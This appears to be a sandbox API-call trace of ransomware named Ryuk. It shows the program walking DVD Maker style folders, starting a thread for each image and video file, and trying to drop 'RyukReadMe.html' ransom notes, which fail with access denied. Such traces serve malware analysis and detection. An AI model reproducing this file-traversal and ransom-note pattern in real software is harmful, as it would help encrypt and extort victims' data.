	[0231.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe94
	[0231.186] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.187] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0231.187] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe98
	[0231.189] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.189] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0231.190] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe9c
	[0231.191] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.192] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0231.192] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xea0
	[0231.194] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.195] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0231.195] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xea4
	[0231.196] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.197] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0231.197] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xea8
	[0231.199] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.200] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0231.200] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeac
	[0231.202] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.203] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x76, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 1
	[0231.203] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb0
	[0231.205] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.205] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x76, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 0
	[0231.206] FindClose (in: hFindFile=0x7c810 | out: hFindFile=0x7c810) returned 1
	[0231.206] SetLastError (dwErrCode=0x0) 
	[0231.206] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.206] GetLastError () returned 0x5
	[0231.206] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0231.206] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.207] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1
	[0231.207] SetLastError (dwErrCode=0x0) 
	[0231.207] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.207] GetLastError () returned 0x5
	[0231.207] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0231.207] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.207] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
	[0231.484] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0231.484] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1
	[0231.484] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb4
	[0231.486] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.487] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1
	[0231.487] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb8
	[0231.489] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.489] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1
	[0231.489] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xebc
	[0231.491] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.492] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1
	[0231.492] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec0
	[0231.494] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.495] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1
	[0231.495] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec4
	[0231.497] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.498] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1
	[0231.498] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec8
	[0231.501] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.501] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x76, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1
	[0231.501] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xecc
	[0231.503] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.504] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x76, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1
	[0231.504] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.505] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed0
	[0231.506] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.507] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x76, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1
	[0231.507] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed4
	[0231.509] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.510] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x76, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1
	[0231.510] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.511] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed8
	[0231.512] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.513] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0x76, dwReserved1=0x0, cFileName="passport.png", cAlternateFileName="")) returned 1
	[0231.513] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xedc
	[0231.548] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.548] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0x76, dwReserved1=0x0, cFileName="Passport.wmv", cAlternateFileName="")) returned 1
	[0231.548] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee0
	[0231.675] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.675] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0x76, dwReserved1=0x0, cFileName="passportcover.png", cAlternateFileName="")) returned 1
	[0231.676] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee4
	[0231.678] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.678] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x76, dwReserved1=0x0, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1
	[0231.678] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee8
	[0231.681] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.681] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x76, dwReserved1=0x0, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1
	[0231.681] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeec
	[0231.683] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
